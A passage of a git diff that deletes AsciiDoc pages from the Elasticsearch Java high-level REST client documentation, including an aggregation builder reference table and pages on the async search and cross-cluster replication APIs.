--- a/docs/java-rest/high-level/aggs-builders.asciidoc
+++ /dev/null
@@ -1,84 +0,0 @@
-[[java-rest-high-aggregation-builders]]
-=== Building Aggregations
-
-This page lists all the available aggregations with their corresponding `AggregationBuilder` class name and helper method name in the
-`AggregationBuilders` or `PipelineAggregatorBuilders` utility classes.
-
-:agg-ref:        {elasticsearch-javadoc}/org/elasticsearch/search/aggregations
-:parentjoin-ref: {parent-join-client-javadoc}/org/elasticsearch/join/aggregations
-:matrixstats-ref: {matrixstats-client-javadoc}/org/elasticsearch/search/aggregations
-
-==== Metrics Aggregations
-[options="header"]
-|======
-| Aggregation                                                                                        | AggregationBuilder Class                                                                                | Method in AggregationBuilders
-| {ref}/search-aggregations-metrics-avg-aggregation.html[Avg]                                        | {agg-ref}/metrics/AvgAggregationBuilder.html[AvgAggregationBuilder]                                 | {agg-ref}/AggregationBuilders.html#avg-java.lang.String-[AggregationBuilders.avg()]
-| {ref}/search-aggregations-metrics-cardinality-aggregation.html[Cardinality]                        | {agg-ref}/metrics/CardinalityAggregationBuilder.html[CardinalityAggregationBuilder]         | {agg-ref}/AggregationBuilders.html#cardinality-java.lang.String-[AggregationBuilders.cardinality()]
-| {ref}/search-aggregations-metrics-extendedstats-aggregation.html[Extended Stats]                   | {agg-ref}/metrics/ExtendedStatsAggregationBuilder.html[ExtendedStatsAggregationBuilder]  | {agg-ref}/AggregationBuilders.html#extendedStats-java.lang.String-[AggregationBuilders.extendedStats()]
-| {ref}/search-aggregations-metrics-geobounds-aggregation.html[Geo Bounds]                           | {agg-ref}/metrics/GeoBoundsAggregationBuilder.html[GeoBoundsAggregationBuilder]               | {agg-ref}/AggregationBuilders.html#geoBounds-java.lang.String-[AggregationBuilders.geoBounds()]
-| {ref}/search-aggregations-metrics-geocentroid-aggregation.html[Geo Centroid]                       | {agg-ref}/metrics/GeoCentroidAggregationBuilder.html[GeoCentroidAggregationBuilder]         | {agg-ref}/AggregationBuilders.html#geoCentroid-java.lang.String-[AggregationBuilders.geoCentroid()]
-| {ref}/search-aggregations-metrics-max-aggregation.html[Max]                                        | {agg-ref}/metrics/MaxAggregationBuilder.html[MaxAggregationBuilder]                                 | {agg-ref}/AggregationBuilders.html#max-java.lang.String-[AggregationBuilders.max()]
-| {ref}/search-aggregations-metrics-min-aggregation.html[Min]                                        | {agg-ref}/metrics/MinAggregationBuilder.html[MinAggregationBuilder]                                | {agg-ref}/AggregationBuilders.html#min-java.lang.String-[AggregationBuilders.min()]
-| {ref}/search-aggregations-metrics-percentile-aggregation.html[Percentiles]                         | {agg-ref}/metrics/PercentilesAggregationBuilder.html[PercentilesAggregationBuilder]         | {agg-ref}/AggregationBuilders.html#percentiles-java.lang.String-[AggregationBuilders.percentiles()]
-| {ref}/search-aggregations-metrics-percentile-rank-aggregation.html[Percentile Ranks]               | {agg-ref}/metrics/PercentileRanksAggregationBuilder.html[PercentileRanksAggregationBuilder] | {agg-ref}/AggregationBuilders.html#percentileRanks-java.lang.String-[AggregationBuilders.percentileRanks()]
-| {ref}/search-aggregations-metrics-scripted-metric-aggregation.html[Scripted Metric]                | {agg-ref}/metrics/ScriptedMetricAggregationBuilder.html[ScriptedMetricAggregationBuilder]      | {agg-ref}/AggregationBuilders.html#scriptedMetric-java.lang.String-[AggregationBuilders.scriptedMetric()]
-| {ref}/search-aggregations-metrics-stats-aggregation.html[Stats]                                    | {agg-ref}/metrics/StatsAggregationBuilder.html[StatsAggregationBuilder]                           | {agg-ref}/AggregationBuilders.html#stats-java.lang.String-[AggregationBuilders.stats()]
-| {ref}/search-aggregations-metrics-sum-aggregation.html[Sum]                                        | {agg-ref}/metrics/SumAggregationBuilder.html[SumAggregationBuilder]                                 | {agg-ref}/AggregationBuilders.html#sum-java.lang.String-[AggregationBuilders.sum()]
-| {ref}/search-aggregations-metrics-top-hits-aggregation.html[Top hits]                              | {agg-ref}/metrics/TopHitsAggregationBuilder.html[TopHitsAggregationBuilder]                     | {agg-ref}/AggregationBuilders.html#topHits-java.lang.String-[AggregationBuilders.topHits()]
-| {ref}/search-aggregations-metrics-top-metrics.html[Top Metrics]                                    | {javadoc-client}/analytics/TopMetricsAggregationBuilder.html[TopMetricsAggregationBuilder]              | None
-| {ref}/search-aggregations-metrics-valuecount-aggregation.html[Value Count]                         | {agg-ref}/metrics/ValueCountAggregationBuilder.html[ValueCountAggregationBuilder]            | {agg-ref}/AggregationBuilders.html#count-java.lang.String-[AggregationBuilders.count()]
-| {ref}/search-aggregations-metrics-string-stats-aggregation.html[String Stats]                      | {javadoc-client}/analytics/StringStatsAggregationBuilder.html[StringStatsAggregationBuilder]            | None
-|======
-
-==== Bucket Aggregations
-[options="header"]
-|======
-| Aggregation                                                                                        | AggregationBuilder Class                                                                                 | Method in AggregationBuilders
-| {ref}/search-aggregations-bucket-adjacency-matrix-aggregation.html[Adjacency Matrix]               | {agg-ref}/bucket/adjacency/AdjacencyMatrixAggregationBuilder.html[AdjacencyMatrixAggregationBuilder]     | {agg-ref}/AggregationBuilders.html#adjacencyMatrix-java.lang.String-java.util.Map-[AggregationBuilders.adjacencyMatrix()]
-| {ref}/search-aggregations-bucket-children-aggregation.html[Children]                               | {parentjoin-ref}/ChildrenAggregationBuilder.html[ChildrenAggregationBuilder]                             |
-| {ref}/search-aggregations-bucket-datehistogram-aggregation.html[Date Histogram]                    | {agg-ref}/bucket/histogram/DateHistogramAggregationBuilder.html[DateHistogramAggregationBuilder]         | {agg-ref}/AggregationBuilders.html#dateHistogram-java.lang.String-[AggregationBuilders.dateHistogram()]
-| {ref}/search-aggregations-bucket-daterange-aggregation.html[Date Range]                            | {agg-ref}/bucket/range/DateRangeAggregationBuilder.html[DateRangeAggregationBuilder]                     | {agg-ref}/AggregationBuilders.html#dateRange-java.lang.String-[AggregationBuilders.dateRange()]
-| {ref}/search-aggregations-bucket-diversified-sampler-aggregation.html[Diversified Sampler]         | {agg-ref}/bucket/sampler/DiversifiedAggregationBuilder.html[DiversifiedAggregationBuilder]               | {agg-ref}/AggregationBuilders.html#diversifiedSampler-java.lang.String-[AggregationBuilders.diversifiedSampler()]
-| {ref}/search-aggregations-bucket-filter-aggregation.html[Filter]                                   | {agg-ref}/bucket/filter/FilterAggregationBuilder.html[FilterAggregationBuilder]                          | {agg-ref}/AggregationBuilders.html#filter-java.lang.String-org.elasticsearch.index.query.QueryBuilder-[AggregationBuilders.filter()]
-| {ref}/search-aggregations-bucket-filters-aggregation.html[Filters]                                 | {agg-ref}/bucket/filters/FiltersAggregationBuilder.html[FiltersAggregationBuilder]                        | {agg-ref}/AggregationBuilders.html#filters-java.lang.String-org.elasticsearch.index.query.QueryBuilder...-[AggregationBuilders.filters()]
-| {ref}/search-aggregations-bucket-geodistance-aggregation.html[Geo Distance]                        | {agg-ref}/bucket/range/GeoDistanceAggregationBuilder.html[GeoDistanceAggregationBuilder]                 | {agg-ref}/AggregationBuilders.html#geoDistance-java.lang.String-org.elasticsearch.common.geo.GeoPoint-[AggregationBuilders.geoDistance()]
-| {ref}/search-aggregations-bucket-geohashgrid-aggregation.html[GeoHash Grid]                        | {agg-ref}/bucket/geogrid/GeoGridAggregationBuilder.html[GeoGridAggregationBuilder]                       | {agg-ref}/AggregationBuilders.html#geohashGrid-java.lang.String-[AggregationBuilders.geohashGrid()]
-| {ref}/search-aggregations-bucket-global-aggregation.html[Global]                                   | {agg-ref}/bucket/global/GlobalAggregationBuilder.html[GlobalAggregationBuilder]                          | {agg-ref}/AggregationBuilders.html#global-java.lang.String-[AggregationBuilders.global()]
-| {ref}/search-aggregations-bucket-histogram-aggregation.html[Histogram]                             | {agg-ref}/bucket/histogram/HistogramAggregationBuilder.html[HistogramAggregationBuilder]                 | {agg-ref}/AggregationBuilders.html#histogram-java.lang.String-[AggregationBuilders.histogram()]
-| {ref}/search-aggregations-bucket-iprange-aggregation.html[IP Range]                                | {agg-ref}/bucket/range/IpRangeAggregationBuilder.html[IpRangeAggregationBuilder]                         | {agg-ref}/AggregationBuilders.html#ipRange-java.lang.String-[AggregationBuilders.ipRange()]
-| {ref}/search-aggregations-bucket-missing-aggregation.html[Missing]                                 | {agg-ref}/bucket/missing/MissingAggregationBuilder.html[MissingAggregationBuilder]                       | {agg-ref}/AggregationBuilders.html#missing-java.lang.String-[AggregationBuilders.missing()]
-| {ref}/search-aggregations-bucket-nested-aggregation.html[Nested]                                   | {agg-ref}/bucket/nested/NestedAggregationBuilder.html[NestedAggregationBuilder]                          | {agg-ref}/AggregationBuilders.html#nested-java.lang.String-java.lang.String-[AggregationBuilders.nested()]
-| {ref}/search-aggregations-bucket-range-aggregation.html[Range]                                     | {agg-ref}/bucket/range/RangeAggregationBuilder.html[RangeAggregationBuilder]                             | {agg-ref}/AggregationBuilders.html#range-java.lang.String-[AggregationBuilders.range()]
-| {ref}/search-aggregations-bucket-reverse-nested-aggregation.html[Reverse nested]                   | {agg-ref}/bucket/nested/ReverseNestedAggregationBuilder.html[ReverseNestedAggregationBuilder]            | {agg-ref}/AggregationBuilders.html#reverseNested-java.lang.String-[AggregationBuilders.reverseNested()]
-| {ref}/search-aggregations-bucket-sampler-aggregation.html[Sampler]                                 | {agg-ref}/bucket/sampler/SamplerAggregationBuilder.html[SamplerAggregationBuilder]                       | {agg-ref}/AggregationBuilders.html#sampler-java.lang.String-[AggregationBuilders.sampler()]
-| {ref}/search-aggregations-bucket-significantterms-aggregation.html[Significant Terms]              | {agg-ref}/bucket/significant/SignificantTermsAggregationBuilder.html[SignificantTermsAggregationBuilder] | {agg-ref}/AggregationBuilders.html#significantTerms-java.lang.String-[AggregationBuilders.significantTerms()]
-| {ref}/search-aggregations-bucket-significanttext-aggregation.html[Significant Text]                | {agg-ref}/bucket/significant/SignificantTextAggregationBuilder.html[SignificantTextAggregationBuilder]   | {agg-ref}/AggregationBuilders.html#significantText-java.lang.String-java.lang.String-[AggregationBuilders.significantText()]
-| {ref}/search-aggregations-bucket-terms-aggregation.html[Terms]                                     | {agg-ref}/bucket/terms/TermsAggregationBuilder.html[TermsAggregationBuilder]                             | {agg-ref}/AggregationBuilders.html#terms-java.lang.String-[AggregationBuilders.terms()]
-|======
-
-==== Pipeline Aggregations
-[options="header"]
-|======
-| Pipeline on                                                                                        | PipelineAggregationBuilder Class                                                                                                | Method in PipelineAggregatorBuilders
-| {ref}/search-aggregations-pipeline-avg-bucket-aggregation.html[Avg Bucket]                         | {agg-ref}/pipeline/AvgBucketPipelineAggregationBuilder.html[AvgBucketPipelineAggregationBuilder]                                | {agg-ref}/PipelineAggregatorBuilders.html#avgBucket-java.lang.String-java.lang.String-[PipelineAggregatorBuilders.avgBucket()]
-| {ref}/search-aggregations-pipeline-derivative-aggregation.html[Derivative]                         | {agg-ref}/pipeline/DerivativePipelineAggregationBuilder.html[DerivativePipelineAggregationBuilder]                              | {agg-ref}/PipelineAggregatorBuilders.html#derivative-java.lang.String-java.lang.String-[PipelineAggregatorBuilders.derivative()]
-| {ref}/search-aggregations-pipeline-inference-bucket-aggregation.html[Inference]                    | {javadoc-client}/analytics/InferencePipelineAggregationBuilder.html[InferencePipelineAggregationBuilder]                        | None
-| {ref}/search-aggregations-pipeline-max-bucket-aggregation.html[Max Bucket]                         | {agg-ref}/pipeline/MaxBucketPipelineAggregationBuilder.html[MaxBucketPipelineAggregationBuilder]                                | {agg-ref}/PipelineAggregatorBuilders.html#maxBucket-java.lang.String-java.lang.String-[PipelineAggregatorBuilders.maxBucket()]
-| {ref}/search-aggregations-pipeline-min-bucket-aggregation.html[Min Bucket]                         | {agg-ref}/pipeline/MinBucketPipelineAggregationBuilder.html[MinBucketPipelineAggregationBuilder]                                | {agg-ref}/PipelineAggregatorBuilders.html#minBucket-java.lang.String-java.lang.String-[PipelineAggregatorBuilders.minBucket()]
-| {ref}/search-aggregations-pipeline-sum-bucket-aggregation.html[Sum Bucket]                         | {agg-ref}/pipeline/SumBucketPipelineAggregationBuilder.html[SumBucketPipelineAggregationBuilder]                                | {agg-ref}/PipelineAggregatorBuilders.html#sumBucket-java.lang.String-java.lang.String-[PipelineAggregatorBuilders.sumBucket()]
-| {ref}/search-aggregations-pipeline-stats-bucket-aggregation.html[Stats Bucket]                     | {agg-ref}/pipeline/StatsBucketPipelineAggregationBuilder.html[StatsBucketPipelineAggregationBuilder]                            | {agg-ref}/PipelineAggregatorBuilders.html#statsBucket-java.lang.String-java.lang.String-[PipelineAggregatorBuilders.statsBucket()]
-| {ref}/search-aggregations-pipeline-extended-stats-bucket-aggregation.html[Extended Stats Bucket]   | {agg-ref}/pipeline/ExtendedStatsBucketPipelineAggregationBuilder.html[ExtendedStatsBucketPipelineAggregationBuilder]            | {agg-ref}/PipelineAggregatorBuilders.html#extendedStatsBucket-java.lang.String-java.lang.String-[PipelineAggregatorBuilders.extendedStatsBucket()]
-| {ref}/search-aggregations-pipeline-percentiles-bucket-aggregation.html[Percentiles Bucket]         | {agg-ref}/pipeline/PercentilesBucketPipelineAggregationBuilder.html[PercentilesBucketPipelineAggregationBuilder]                | {agg-ref}/PipelineAggregatorBuilders.html#percentilesBucket-java.lang.String-java.lang.String-[PipelineAggregatorBuilders.percentilesBucket()]
-| {ref}/search-aggregations-pipeline-movavg-aggregation.html[Moving Average]                         | {agg-ref}/pipeline/MovAvgPipelineAggregationBuilder.html[MovAvgPipelineAggregationBuilder]                                      | {agg-ref}/PipelineAggregatorBuilders.html#movingAvg-java.lang.String-java.lang.String-[PipelineAggregatorBuilders.movingAvg()]
-| {ref}/search-aggregations-pipeline-cumulative-sum-aggregation.html[Cumulative Sum]                 | {agg-ref}/pipeline/CumulativeSumPipelineAggregationBuilder.html[CumulativeSumPipelineAggregationBuilder]                        | {agg-ref}/PipelineAggregatorBuilders.html#cumulativeSum-java.lang.String-java.lang.String-[PipelineAggregatorBuilders.cumulativeSum()]
-| {ref}/search-aggregations-pipeline-bucket-script-aggregation.html[Bucket Script]                   | {agg-ref}/pipeline/BucketScriptPipelineAggregationBuilder.html[BucketScriptPipelineAggregationBuilder]                          | {agg-ref}/PipelineAggregatorBuilders.html#bucketScript-java.lang.String-java.util.Map-org.elasticsearch.script.Script-[PipelineAggregatorBuilders.bucketScript()]
-| {ref}/search-aggregations-pipeline-bucket-selector-aggregation.html[Bucket Selector]               | {agg-ref}/pipeline/BucketSelectorPipelineAggregationBuilder.html[BucketSelectorPipelineAggregationBuilder]                      | {agg-ref}/PipelineAggregatorBuilders.html#bucketSelector-java.lang.String-java.util.Map-org.elasticsearch.script.Script-[PipelineAggregatorBuilders.bucketSelector()]
-| {ref}/search-aggregations-pipeline-serialdiff-aggregation.html[Serial Differencing]                | {agg-ref}/pipeline/SerialDiffPipelineAggregationBuilder.html[SerialDiffPipelineAggregationBuilder]                              | {agg-ref}/PipelineAggregatorBuilders.html#diff-java.lang.String-java.lang.String-[PipelineAggregatorBuilders.diff()]
-|======
-
-==== Matrix Aggregations
-[options="header"]
-|======
-| Aggregation                                                                                        | AggregationBuilder Class                                                                  | Method in MatrixStatsAggregationBuilders
-| {ref}/search-aggregations-matrix-stats-aggregation.html[Matrix Stats]                              | {matrixstats-ref}/matrix/stats/MatrixStatsAggregationBuilder.html[MatrixStatsAggregationBuilder]  | {matrixstats-ref}/MatrixStatsAggregationBuilders.html#matrixStats-java.lang.String-[MatrixStatsAggregationBuilders.matrixStats()]
-|======
diff --git a/docs/java-rest/high-level/asyncsearch/delete.asciidoc b/docs/java-rest/high-level/asyncsearch/delete.asciidoc
deleted file mode 100644
index f38961fe28c..00000000000
--- a/docs/java-rest/high-level/asyncsearch/delete.asciidoc
+++ /dev/null
@@ -1,68 +0,0 @@
---
-:api: asyncsearch-delete
-:request: DeleteAsyncSearchRequest
-:response: AcknowledgedResponse
---
-
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Delete Async Search API
-
-[id="{upid}-{api}-request"]
-==== Request
-
-A +{request}+ allows deleting a running asynchronous search task using
-its id. Required arguments are the `id` of a running search:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-
-[id="{upid}-{api}-sync"]
-==== Synchronous Execution
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-execute]
---------------------------------------------------
-<1> Execute the request and get back the response as an +{response}+ object.
-
-[id="{upid}-{api}-async"]
-==== Asynchronous Execution
-
-The asynchronous execution of a +{request}+ allows to use an 
-`ActionListener` to be called back when the submit request returns: 
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-execute-async]
---------------------------------------------------
-<1> The +{request}+ to execute and the `ActionListener` to use when
-the execution completes
-
-The asynchronous method does not block and returns immediately. Once it is
-completed the `ActionListener` is called back using the `onResponse` method
-if the execution successfully completed or using the `onFailure` method if
-it failed.
-
-A typical listener for +{response}+ looks like:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-listener]
---------------------------------------------------
-<1> Called when the execution is successfully completed. The response is
-provided as an argument
-<2> Called in case of failure. The raised exception is provided as an argument
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ indicates the acknowledgement of the request:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> `isAcknowledged` was the deletion request acknowledged or not.
\ No newline at end of file
diff --git a/docs/java-rest/high-level/asyncsearch/get.asciidoc b/docs/java-rest/high-level/asyncsearch/get.asciidoc
deleted file mode 100644
index 531c341d64b..00000000000
--- a/docs/java-rest/high-level/asyncsearch/get.asciidoc
+++ /dev/null
@@ -1,87 +0,0 @@
---
-:api: asyncsearch-get
-:request: GetAsyncSearchRequest
-:response: AsyncSearchResponse
---
-
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Get Async Search API
-
-[id="{upid}-{api}-request"]
-==== Request
-
-A +{request}+ allows to get a running asynchronous search task by
-its id. Required arguments are the `id` of a running async search:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-
-==== Optional arguments
-The following arguments can optionally be provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-arguments]
---------------------------------------------------
-<1> The minimum time that the request should wait before 
-returning a partial result (defaults to no wait).
-<2> The expiration time of the request (defaults to none).
-
-
-[id="{upid}-{api}-sync"]
-==== Synchronous Execution
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-execute]
---------------------------------------------------
-<1> Execute the request and get back the response as an +{response}+ object.
-
-[id="{upid}-{api}-async"]
-==== Asynchronous Execution
-
-The asynchronous execution of a +{request}+ allows to use an 
-`ActionListener` to be called back when the submit request returns: 
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-execute-async]
---------------------------------------------------
-<1> The +{request}+ to execute and the `ActionListener` to use when
-the execution completes
-
-The asynchronous method does not block and returns immediately. Once it is
-completed the `ActionListener` is called back using the `onResponse` method
-if the execution successfully completed or using the `onFailure` method if
-it failed.
-
-A typical listener for +{response}+ looks like:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-listener]
---------------------------------------------------
-<1> Called when the execution is successfully completed. The response is
-provided as an argument
-<2> Called in case of failure. The raised exception is provided as an argument
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ allows to retrieve information about the executed
- operation as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> The `SearchResponse`, or `null` if not available yet
-<2> The id of the async search request, `null` if the response isn't stored
-<3> `true` when the response contains partial results
-<4> `true` when the search is still running
-<5> The time the response was created (millis since epoch)
-<6> The time the response expires (millis since epoch)
-<7> Get failure reasons or `null` for no failures
diff --git a/docs/java-rest/high-level/asyncsearch/submit.asciidoc b/docs/java-rest/high-level/asyncsearch/submit.asciidoc
deleted file mode 100644
index cfe78f1d121..00000000000
--- a/docs/java-rest/high-level/asyncsearch/submit.asciidoc
+++ /dev/null
@@ -1,94 +0,0 @@
---
-:api: asyncsearch-submit
-:request: SubmitAsyncSearchRequest
-:response: AsyncSearchResponse
---
-
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Submit Async Search API
-
-[id="{upid}-{api}-request"]
-==== Request
-
-A +{request}+ allows to submit an asynchronous search task to
-the cluster. Required arguments are the `SearchSourceBuilder` defining
-the search and the target indices:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> The definition of the search to run
-<2> The target indices for the search
-
-==== Optional arguments
-The following arguments can optionally be provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-arguments]
---------------------------------------------------
-<1> The minimum time that the request should wait before
-returning a partial result (defaults to 1 second).
-<2> The expiration time of the request (defaults to 5 days).
-<3> Controls whether the results should be stored if the request
-completed within the provided `wait_for_completion` time (default: false)
-
-[id="{upid}-{api}-sync"]
-==== Synchronous Execution
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-execute]
---------------------------------------------------
-<1> Execute the request and get back the response as an +{response}+ object.
-
-[id="{upid}-{api}-async"]
-==== Asynchronous Execution
-
-The asynchronous execution of a +{request}+ allows to use an 
-`ActionListener` to be called back when the submit request returns. Note
-that this is does not concern the execution of the submitted search request,
-which always executes asynchronously. The listener, however, waits for the
-submit request itself to come back: 
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-execute-async]
---------------------------------------------------
-<1> The +{request}+ to execute and the `ActionListener` to use when
-the execution completes
-
-The asynchronous method does not block and returns immediately. Once it is
-completed the `ActionListener` is called back using the `onResponse` method
-if the execution successfully completed or using the `onFailure` method if
-it failed.
-
-A typical listener for +{response}+ looks like:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-listener]
---------------------------------------------------
-<1> Called when the execution is successfully completed. The response is
-provided as an argument
-<2> Called in case of failure. The raised exception is provided as an argument
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ allows to retrieve information about the executed
- operation as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> The `SearchResponse`, or `null` if not available yet
-<2> The id of the async search request, `null` if the response isn't stored
-<3> `true` when the response contains partial results
-<4> `true` when the search is still running
-<5> The time the response was created (millis since epoch)
-<6> The time the response expires (millis since epoch)
-<7> Get failure reasons or `null` for no failures
diff --git a/docs/java-rest/high-level/ccr/delete_auto_follow_pattern.asciidoc b/docs/java-rest/high-level/ccr/delete_auto_follow_pattern.asciidoc
deleted file mode 100644
index 49aee815b89..00000000000
--- a/docs/java-rest/high-level/ccr/delete_auto_follow_pattern.asciidoc
+++ /dev/null
@@ -1,32 +0,0 @@
---
-:api: ccr-delete-auto-follow-pattern
-:request: DeleteAutoFollowPatternRequest
-:response: AcknowledgedResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Delete Auto Follow Pattern API
-
-[id="{upid}-{api}-request"]
-==== Request
-
-The Delete Auto Follow Pattern API allows you to delete an auto follow pattern.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> The name of the auto follow pattern to delete.
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ indicates if the delete auto follow pattern request was received.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Whether or not the delete auto follow pattern request was acknowledged.
-
-include::../execution.asciidoc[]
diff --git a/docs/java-rest/high-level/ccr/forget_follower.asciidoc b/docs/java-rest/high-level/ccr/forget_follower.asciidoc
deleted file mode 100644
index b889993a4e9..00000000000
--- a/docs/java-rest/high-level/ccr/forget_follower.asciidoc
+++ /dev/null
@@ -1,45 +0,0 @@
---
-:api: ccr-forget-follower
-:request: ForgetFollowerRequest
-:response: BroadcastResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Forget Follower API
-
-[id="{upid}-{api}-request"]
-==== Request
-
-The Forget Follower API allows you to manually remove the follower retention
-leases from the leader. Note that these retention leases are automatically
-managed by the following index. This API exists only for cases when invoking
-the unfollow API on the follower index is unable to remove the follower
-retention leases.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> The name of the cluster containing the follower index.
-<2> The name of the follower index.
-<3> The UUID of the follower index (can be obtained from index stats).
-<4> The alias of the remote cluster containing the leader index.
-<5> The name of the leader index.
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ indicates if the response was successful.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> The high-level shards summary.
-<2> The total number of shards the request was executed on.
-<3> The total number of shards the request was successful on.
-<4> The total number of shards the request was skipped on (should always be zero).
-<5> The total number of shards the request failed on.
-<6> The shard-level failures.
-
-include::../execution.asciidoc[]
diff --git a/docs/java-rest/high-level/ccr/get_auto_follow_pattern.asciidoc b/docs/java-rest/high-level/ccr/get_auto_follow_pattern.asciidoc
deleted file mode 100644
index 98c9e541019..00000000000
--- a/docs/java-rest/high-level/ccr/get_auto_follow_pattern.asciidoc
+++ /dev/null
@@ -1,35 +0,0 @@
---
-:api: ccr-get-auto-follow-pattern
-:request: GetAutoFollowPatternRequest
-:response: GetAutoFollowPatternResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Get Auto Follow Pattern API
-
-[id="{upid}-{api}-request"]
-==== Request
-
-The Get Auto Follow Pattern API allows you to get a specified auto follow pattern
-or all auto follow patterns.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> The name of the auto follow pattern to get.
-    Use the default constructor to get all auto follow patterns.
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ includes the requested auto follow pattern or
-all auto follow patterns if default constructor or request class was used.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Get the requested pattern from the list of returned patterns
-
-include::../execution.asciidoc[]
diff --git a/docs/java-rest/high-level/ccr/get_follow_info.asciidoc b/docs/java-rest/high-level/ccr/get_follow_info.asciidoc
deleted file mode 100644
index 70a71c1c90b..00000000000
--- a/docs/java-rest/high-level/ccr/get_follow_info.asciidoc
+++ /dev/null
@@ -1,35 +0,0 @@
---
-:api: ccr-get-follow-info
-:request: FollowInfoRequest
-:response: FollowInfoResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Get Follow Info API
-
-
-[id="{upid}-{api}-request"]
-==== Request
-
-The Get Follow Info API allows you to get follow information (parameters and status) for specific follower indices.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> The follower index to get follow information for.
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ includes follow information for the specified follower indices
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> The follow information for specified follower indices.
-
-include::../execution.asciidoc[]
-
-
diff --git a/docs/java-rest/high-level/ccr/get_follow_stats.asciidoc b/docs/java-rest/high-level/ccr/get_follow_stats.asciidoc
deleted file mode 100644
index a510a53b70c..00000000000
--- a/docs/java-rest/high-level/ccr/get_follow_stats.asciidoc
+++ /dev/null
@@ -1,35 +0,0 @@
---
-:api: ccr-get-follow-stats
-:request: FollowStatsRequest
-:response: FollowStatsResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Get Follow Stats API
-
-
-[id="{upid}-{api}-request"]
-==== Request
-
-The Get Follow Stats API allows you to get follow statistics for specific follower indices.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> The follower index to get follow statistics for.
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ includes follow statistics for the specified follower indices
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> The follow stats for specified follower indices.
-
-include::../execution.asciidoc[]
-
-
diff --git a/docs/java-rest/high-level/ccr/get_stats.asciidoc b/docs/java-rest/high-level/ccr/get_stats.asciidoc
deleted file mode 100644
index 6c8502302fc..00000000000
--- a/docs/java-rest/high-level/ccr/get_stats.asciidoc
+++ /dev/null
@@ -1,37 +0,0 @@
---
-:api: ccr-get-stats
-:request: CcrStatsRequest
-:response: CcrStatsResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Get CCR Stats API
-
-
-[id="{upid}-{api}-request"]
-==== Request
-
-The Get CCR Stats API allows you to get statistics about index following and auto following.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> The request accepts no parameters.
-
